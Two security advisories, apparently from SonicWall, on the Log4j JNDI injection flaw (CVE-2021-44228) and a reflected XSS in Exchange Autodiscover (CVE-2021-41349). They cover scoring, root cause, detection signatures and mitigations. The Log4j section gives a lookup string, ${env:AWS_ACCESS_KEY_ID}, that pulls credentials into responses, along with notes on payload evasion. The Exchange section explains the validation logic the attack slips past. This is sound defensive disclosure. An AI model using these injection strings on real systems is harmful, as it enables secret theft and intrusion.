Apache Log4j is a Java-based logging utility that can be configured through a configuration file or through Java code. Apache Log4j provides many features, such as reliability, extensibility, multiple configuration support including xml/json/yaml, excellent performance and more.

A JNDI Injection vulnerability has been reported in the JndiManager class of Apache Log4j. This vulnerability is due to improper handling of logged messages.

A remote, unauthenticated attacker who can control log message contents can exploit this vulnerability by sending a specially crafted parameter to the target application. Successful exploitation results in the information disclosure, or remote code execution.

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2021-44228.

The overall CVSS score is 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C).

Base score is 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), based on the following metrics:

• Attack vector is network.
• Attack complexity is low.
• Privileges required is none.
• Attack vector is network.
• Attack complexity is low.
• Privileges required is none.
• User interaction is none.
• Scope is changed.
• Impact of this vulnerability on data confidentiality is high.
• Impact of this vulnerability on data integrity is high.
• Impact of this vulnerability on data availability is high.

Temporal score is 9.3 (E:F/RL:O/RC:C), based on the following metrics:

• The exploit code maturity level of this vulnerability is functional.
• The remediation level of this vulnerability is official fix.
• The report confidence level of this vulnerability is confirmed.

The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name. JNDI support many services including Lightweight Directory Access Protocol (LDAP), Domain Name Service (DNS) and so on. Apache Log4j supports many performing lookups, including JNDI lookups.

The JNDI lookups feature on vulnerable version of Apache Log4j2.x allows it to add values at arbitrary places to Log4j configuration. Log4j is having a special syntax in the form ${lookup_name:key} (where lookup_name=one of the different lookups, key=attribute to be evaluated). When an attacker includes a string ${ in the request, the Log4j will attempt to write the same into the log data, while doing the same lookup method will be called which will find the strings after ${ and attempt to replace the strings with the actual values. For instance ${env:COMPUTERNAME} will become actual computer name(ex. TEST-PC) and ${env:AWS_ACCESS_KEY_ID} will become actual AWS SECRET KEY.

The JNDI lookups are enabled by default in the vulnerable versions of Log4j2.x and it does not sanitize the inputs, hence allowing attackers to send maliciously crafted requests to the web server or application which is using Log4j. The application will then respond with the evaluated strings.

Majority of attacks is using LDAP protocol as specified in the POCs available publicly, attackers are trying to leverage some other protocols as well, such as RMI, LDAPS, HTTP(S), DNS, IIOP, COBRA, NIS and NDS. Payloads are found in different section of HTTP request such as URI, parameters, headers such as User-Agent and Referrer and request body, as attackers trying to log the payload anyways so that it would be parsed by vulnerable Log4j.

This vulnerability becomes the worst exploited in the wild vulnerability in recent times, we are getting wide range of mutations in the payloads as attackers are trying to evade the protection or detection in place, for example, base64 encoded data. SonicWall has released multiple signatures to protect their customers.

• The target must be running a vulnerable version of the software.
• The attacker must have network connectivity to the vulnerable server.

The attacker sends a maliciously crafted parameter to the vulnerable server. The server logs the parameter using Log4j. The vulnerability is triggered when the server parses the JNDI lookup included in the log message.

• IPS: 2307  Apache Log4j2 JNDI Log Messages Remote Code Execution
• IPS: 2067 Apache Log4j2 JNDI Log Messages Remote Code Execution LDAPS
• IPS: 15732 Apache Log4j2 JNDI Log Messages Remote Code Execution NIS
• IPS: 15733 Log4j2 JNDI Log Messages Remote Code Execution NDS
• IPS: 15734 Apache Log4j2 JNDI Log Messages Remote Code Execution COBRA
• IPS: 15735 Apache Log4j2 JNDI Log Messages Remote Code Execution RMI
• IPS: 15736 Apache Log4j2 JNDI Log Messages Remote Code Execution IIOP
• IPS: 15737 Apache Log4j2 JNDI Log Messages Remote Code Execution DNS 2
• IPS: 2311 Apache Log4j2 JNDI Log Messages Remote Code Execution HTTP
• IPS: 2315 Apache Log4j2 JNDI Log Messages Remote Code Execution DNS
• IPS: 2328 Apache Log4j2 JNDI Log Messages Remote Code Execution HTTPS

Please note that if your web service/server is accessible over HTTPS, then enabling of Server DPI-SSL is necessary for the above signature to detect exploits targeting this vulnerability.

• WAF: 1116 Apache Log4j2 JNDI Log Messages Remote Code Execution

The risks posed by this vulnerability can be mitigated or eliminated by:

• Enable above mentioned IPS signatures on SonicWall firewalls
• Enable Web Application Firewall signature above.
• Updating to a non-vulnerable version of the product or applying the vendor supplied patch.
• Removing the JndiLookup class from the classpath.

The vendor has released the following advisory regarding this vulnerability:
Vendor Advisory

  Microsoft Exchange Server is an ASP.NET implementation of an email and calendaring server and is capable of handling most standard Internet protocols as well as numerous proprietary Microsoft protocols and formats. Microsoft Exchange Server provides web access for users to various components such as Outlook Web Access and Autodiscover. Autodiscover is a component that allows clients to automatically discover the Exchange settings for the client without requiring users to know specific server addresses.

  A reflected cross-site scripting vulnerability has been reported in Microsoft Exchange Server. The vulnerability is due to insufficient sanitization of incoming request parameters reflected in exception messages returned by the
server.

  A remote attacker can exploit this vulnerability by enticing a target user into clicking a malicious link. Successful exploitation could result in arbitrary script execution in the target user’s browser.

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2021-41349.

  The overall CVSS score is 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C).

  Base score is 9.6 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is low.
    • Privileges required is none.
    • User interaction is required.
    • Scope is changed.
    • Impact of this vulnerability on data confidentiality is high.
    • Impact of this vulnerability on data integrity is high.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 8.6 (E:P/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is proof of concept.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  When any Exchange module receives an HTTP request, it is eventually handled by the OnPostAuthorizeInternal() method of the ProxyModule class in Microsoft.Exchange.FrontEndHttpProxy.dll. In the case the request is not authenticated, the SelectHandlerForUnauthenticatedRequest() method is then called which checks the value of the HttpProxy.ProtocolType property to determine which module the request was received by and decide which specific ProxyRequestHandler class to instantiate in order to handle the request. In the case that the request is received by the Autodiscover module (i.e. the request-URI begins with “/autodiscover”) HttpProxy.ProtocolType is set to “Autodiscover” and as a result SelectHandlerForUnauthenticatedRequest() creates an AutodiscoverProxyRequestHandler object as the handler for the request.

  Once the handler is chosen, the Run() method of the ProxyRequestHandler object is called which applies the handler to the HttpContext object for the request with the RemapHandler() method. The request is then processed with the BeginProcessRequest() method which queues a call to the BeginCalculateTargetBackEnd() method in the thread pool. BeginCalculateTargetBackEnd() calls InternalBeginCalculateTargetBackEnd() which attempts to resolve the anchor mailbox location for the request. The resolution is performed by first calling TryDirectTargetCalculation(), which returns null because this is the default method behaviour and the method is not overridden by AutodiscoverRequestHandler or any of its parent classes. InternalBeginCalculateTargetBackEnd() then calls ResolveAnchorMailbox() which is overridden in AutodiscoverRequestHandler and its parent classes EwsAutodiscoverProxyRequestHandler and BEServerCookieProxyRequestHandler.

  AutodiscoverRequestHandler.ResolveAnchorMailbox() only handles autodiscover requests with a request-URI containing “/wssecurity/x509cert” and otherwise calls EwsAutodiscoverProxyRequestHandler.ResolveAnchorMailbox(). This method inspects the request-URI to see if it corresponds to a specific type of autodiscover request. If the request path ends with “/autodiscover.json” it is considered an “autodiscover V2 preview request” and if this is the case, an explicit logon address is retrieved from the Email HTTP query, form field, or cookie value. When attempting to retrieve the value from HTML form fields, the ValidateHttpValueCollection() method is called to validate the form fields. In turn, this method calls ValidateString() on each form field.

  Each field is checked by calling System.Web.Util.RequestValidator.IsValidRequestString(), which calls System.Web.CrossSiteScriptingValidation.IsDangerousString() with the form field value. This method considers the value dangerous if it contains either (1) ‘<' followed by a letter, '!', '/', or '?'; or (2) the sequence "&#". If the form field value is considered dangerous, the ValidateString() method returns an HttpRequestValidationException exception. This exception's message contains the form name and its truncated value.

  If an HttpRequestValidationException exception is thrown, it is caught by the method BeginCalculateTargetBackEnd() and the exception is handled by HandleBackEndCalculationException(). This exception is eventually handled by the method HandleHttpException(), which returns the exception message as the HTTP response, without encoding the message contents.

  • The target system must have the vulnerable product installed and running.
  • The attacker must be able to deliver a malicious URL to the target user.

  An attacker entices a user to open a page that redirects the user to a malicious URL. The vulnerability is triggered when the server parses the crafted request and returns a page containing injected JavaScript code to the target user’s browser.

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • HTTPS, over port 443/TCP

  • IPS: 15711 Microsoft Exchange Server Spoofing Vulnerability (CVE-2021-41349)

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Applying the vendor supplied patch resolving the vulnerability.
    • Upgrading to a version unaffected by the vulnerability.
    • Detecting and filtering malicious traffic using the signature above.
  The vendor has released the following advisory regarding this vulnerability:
  Vendor Advisory